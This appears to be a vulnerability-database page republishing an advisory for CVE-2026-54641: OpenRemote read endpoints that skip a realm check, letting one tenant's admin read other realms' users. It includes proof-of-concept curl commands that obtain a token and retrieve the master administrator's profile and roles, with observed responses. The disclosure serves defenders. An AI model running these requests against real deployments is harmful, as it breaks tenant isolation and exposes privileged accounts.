Io.openremote:openremote manager: OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl (CVE-2026-54641)
### Summary A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin. ### Details The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java. Three methods are missing an authenticated-realm guard: get (line 102): public User get(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUser(userId); } ... } The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter. getUserClientRoles (line 294): public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId); } ... } getUserRealmRoles (line 313): public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserRealmRoles(realm, userId); } ... } By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths. The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD. ### PoC Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId. Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin). Step 2. Obtain an access token for the tenantb admin: TENANTB_TOKEN=$(curl -s -X POST \ "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \ -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") Step 3. Read a master-realm user profile using the tenantb token: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response from the live test instance (commit 22a42a7, 2026-06-04): {"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8", "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e", "firstName":"System","lastName":"Administrator", "enabled":true,"createdOn":1780550421390, "serviceAccount":false,"username":"admin"} HTTP 200 Step 4. Read master-admin realm roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response: ["admin"] HTTP 200 Step 5. Read master-admin client roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote" Observed response: ["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services", "write:alarms","write:attributes","write:services","write:user","write:assets", "read:insights","read:map","read:users","read:assets","read:rules","write", "write:admin","read","write:rules
AI Analysis
Technical Summary
The vulnerability in OpenRemote's UserResourceImpl class arises because three read methods (get, getUserClientRoles, getUserRealmRoles) check only for the read:admin role but do not verify that the target user belongs to the caller's realm. The realm path parameter is accepted but not used to restrict access. This allows a realm admin from one tenant realm to query user details from any other realm, including the master realm, by using the target user's UUID. Write methods in the same class enforce realm boundaries properly, indicating an omission in the read methods. The vulnerability enables cross-realm user information disclosure and privilege reconnaissance in multi-tenant deployments. A proof of concept demonstrates that a tenantb realm admin can retrieve the master realm administrator's profile and roles using the REST API. The affected versions are all versions before 1.24.2. There is no evidence of known exploits in the wild or an official patch available at this time.
Potential Impact
An attacker with realm-admin-level privileges in one tenant can enumerate and read sensitive user information, including profiles and roles, of users in other realms, including the master realm. This breaks tenant isolation in multi-tenant deployments, potentially exposing privileged account details and enabling further privilege escalation or reconnaissance. The vulnerability does not affect integrity or availability directly but compromises confidentiality of user data across realms.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict realm-admin privileges carefully and monitor access to the affected API endpoints. Consider compensating controls such as network segmentation or additional access controls to limit cross-realm API calls. Avoid sharing UUIDs of privileged users across tenants to reduce risk of targeted enumeration.
Io.openremote:openremote manager: OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl (CVE-2026-54641)
Description
### Summary A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin. ### Details The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java. Three methods are missing an authenticated-realm guard: get (line 102): public User get(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUser(userId); } ... } The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter. getUserClientRoles (line 294): public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId); } ... } getUserRealmRoles (line 313): public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserRealmRoles(realm, userId); } ... } By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths. The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD. ### PoC Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId. Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin). Step 2. Obtain an access token for the tenantb admin: TENANTB_TOKEN=$(curl -s -X POST \ "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \ -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") Step 3. Read a master-realm user profile using the tenantb token: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response from the live test instance (commit 22a42a7, 2026-06-04): {"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8", "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e", "firstName":"System","lastName":"Administrator", "enabled":true,"createdOn":1780550421390, "serviceAccount":false,"username":"admin"} HTTP 200 Step 4. Read master-admin realm roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response: ["admin"] HTTP 200 Step 5. Read master-admin client roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote" Observed response: ["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services", "write:alarms","write:attributes","write:services","write:user","write:assets", "read:insights","read:map","read:users","read:assets","read:rules","write", "write:admin","read","write:rules
CVSS v3.1
Score 7.7high
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in OpenRemote's UserResourceImpl class arises because three read methods (get, getUserClientRoles, getUserRealmRoles) check only for the read:admin role but do not verify that the target user belongs to the caller's realm. The realm path parameter is accepted but not used to restrict access. This allows a realm admin from one tenant realm to query user details from any other realm, including the master realm, by using the target user's UUID. Write methods in the same class enforce realm boundaries properly, indicating an omission in the read methods. The vulnerability enables cross-realm user information disclosure and privilege reconnaissance in multi-tenant deployments. A proof of concept demonstrates that a tenantb realm admin can retrieve the master realm administrator's profile and roles using the REST API. The affected versions are all versions before 1.24.2. There is no evidence of known exploits in the wild or an official patch available at this time.
Potential Impact
An attacker with realm-admin-level privileges in one tenant can enumerate and read sensitive user information, including profiles and roles, of users in other realms, including the master realm. This breaks tenant isolation in multi-tenant deployments, potentially exposing privileged account details and enabling further privilege escalation or reconnaissance. The vulnerability does not affect integrity or availability directly but compromises confidentiality of user data across realms.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict realm-admin privileges carefully and monitor access to the affected API endpoints. Consider compensating controls such as network segmentation or additional access controls to limit cross-realm API calls. Avoid sharing UUIDs of privileged users across tenants to reduce risk of targeted enumeration.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-xqr9-4wvv-gvch
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2026-54641"]
- Ecosystems
- ["Maven"]
- Database Specific Severity
- HIGH
- Cvss Version
- 3.1
Threat ID: 6a4c340527e9c797195f6498
Added to database: 07/06/2026, 23:02:29 UTC
Last enriched: 07/06/2026, 23:13:51 UTC
Last updated: 07/31/2026, 12:27:30 UTC
Views: 49
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.